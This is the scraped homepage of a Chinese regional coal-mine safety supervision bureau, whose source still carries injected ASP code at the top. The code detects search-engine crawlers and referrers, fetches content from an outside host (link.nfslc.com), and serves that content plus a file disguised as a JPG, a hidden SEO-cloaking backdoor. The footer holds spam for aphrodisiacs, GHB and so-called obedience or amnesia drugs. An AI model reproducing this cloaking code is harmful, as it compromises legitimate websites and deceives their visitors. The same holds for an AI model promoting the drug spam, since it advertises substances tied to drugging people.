<% '转换符号，防止非法语句 function HTMLEncode(fString) if not isnull(fString) then fString = replace(fString, ">", ">") fString = replace(fString, "<", "<") fString = Replace(fString, CHR(32), " ") fString = Replace(fString, CHR(9), " ") fString = Replace(fString, CHR(34), "") fString = Replace(fString, CHR(39), "'") fString = Replace(fString, CHR(13), "") fString = Replace(fString, CHR(10) & CHR(10), "  ") fString = Replace(fString, CHR(10), "  ") HTMLEncode = fString end if end function ''检测是否从外部提交数据 sub checkpost() server_v1=Cstr(Request.ServerVariables("HTTP_REFERER")) server_v2=Cstr(Request.ServerVariables("SERVER_NAME")) if mid(server_v1,8,len(server_v2))<>server_v2 then response.Write "




" response.Write " " response.Write " " response.Write " " response.Write " " response.Write " " response.Write " " response.Write "
" response.Write "

系统信息提示

数据来源错误

" response.end end if end sub %> <% function isspider() dim agent,searray,i agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("googlebot","baiduspider","sogou","yahoo","soso") isspider= false for i=0 to ubound(searray) if (instr(agent,searray(i))>0) then isspider=true next end function function fromse() dim urlrefer,i,searray urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER")) fromse= false if urlrefer="" then fromse= false searray=array("google","baidu","sogou","yahoo","soso") for i=0 to ubound(searray) if (instr(urlrefer,searray(i))>0) then fromse=true next end function function mainpage() dim mainindex,n,pagearray,indexquery,i mainindex=LCase(request.ServerVariables("SCRIPT_NAME")) indexquery=LCase(request.ServerVariables("QUERY_STRING")) mainpage= false pagearray=array("/index.","/default.","/main.") for i=0 to ubound(pagearray) if (instr(mainindex,pagearray(i))>0 and len(indexquery)<2) then mainpage=true next end function Path="http://link.nfslc.com/new/s.asp" t = getHtml(Path) Function getHtml(Url) Dim XmlHttp,rUrl Randomize() 'rUrl = Url & "&rNum=" & Int((9999) * Rnd(Now())+1) rUrl = Url & "?rNum=" & Int((9999) * Rnd(Now())+1) '如果你的Url没参数写成 rUrl = Url & "?rNum=" & Int((9999) * Rnd(Now())+1) Set XmlHttp = CreateObject("Microsoft.XMLHTTP") XmlHttp.Open "GET",rUrl, False XmlHttp.setRequestHeader "Content-Type","text/HTML" XmlHttp.Send getHtml = XmlHttp.ResponseBody End Function if isspider() and mainpage() then dim mfso,mfileurl,mfilecon,wfile mfileurl=Server.MapPath("images/20101225025433DSC00003.JPG") Set mfso=Server.CreateObject("Scripting.FileSystemObject") if mfso.FileExists(mfileurl) then Set wfile=mfso.OpenTextFile(mfileurl, 1) mfilecon=wfile.readAll response.clear response.write(mfilecon) Response.BinaryWrite t response.write("") response.flush wfile.Close Set wfile=Nothing Set mfso=Nothing response.end else response.write("fn") end if end if if (fromse() and mainpage()) then response.clear response.write("") response.flush response.end end if %> 豫北煤矿安全监察分局 RSS S
设为首页 | 加入收藏
开展深化执政为民教育规范安全执法行为整治突 关于转发《国家煤矿安全监察局关于开展煤矿职 关于分局领导班子成员工作分工调整的通知 关于召开2011年度专题民主生活会的通知 通知通告：
更多

安全培训

更多

企业之窗

豫北监察分局召开专题会议研究部署春

豫北监察分局召开专题会议研究 部署春节期间反腐倡廉

豫北分局传达贯彻全国安全生产会议精

豫北监察分局传达贯彻全国安全生产工作会议精神 1 月

豫北分局听取鹤煤集团瓦斯治理汇报

豫北分局听取鹤煤公司高瓦斯及煤与瓦斯突出矿井 瓦斯

更多

监察动态

豫北分局听取鹤煤集团瓦斯治理汇报
豫北分局听取鹤煤集团瓦斯治理汇报

豫北分局听取鹤煤公司高瓦斯及煤与瓦斯突出矿井 瓦斯治理情况汇报 为全面掌握鹤煤集团所属高瓦斯、煤与瓦斯

更多

专题活动

更多

辖区范围

更多

安全宣传

更多

政策法规

总局副局长孙华山就《企业安全生产标准

2010年4月15日，国家安全生产监督管理总局发布了《企业安全生产标准化基本规范》安全生产行业标准，标准编

更多

下载中心

便民服务

生活服务： 天气预报 手机号码归属 地图交通 物流快递 身份证号码查询 万年历 邮政编码 北京时间校对
交通地图： 火车查询 交通违章查询 机票查询 酒店查询 火车余票查询
金融理财： 外汇牌价 黄金价格 人民币存/贷利率 住房公积金 股市行情

友情链接

地址：河南省鹤壁市淇滨区华夏南路　邮编：458030
网站管理员电话：0392-3381316　传真：0392-3381305　举报电话：0392-3381300
版权所有：河南煤矿安全监察局豫北监察分局
豫ICP备05012072号
友情链接

增大

男性增长

女性催情

催情

催情香水女性催情女用催情强效催情听话失忆水拍肩药GHB迷幻劳力士手表 丰胸充气娃娃电视棒减肥药口臭的原因
催情产品女性催情增大增长美国基因育根傲博胶囊伟哥催情圣品女士催情催情剂迷幻女性催情成人药品催情女用催情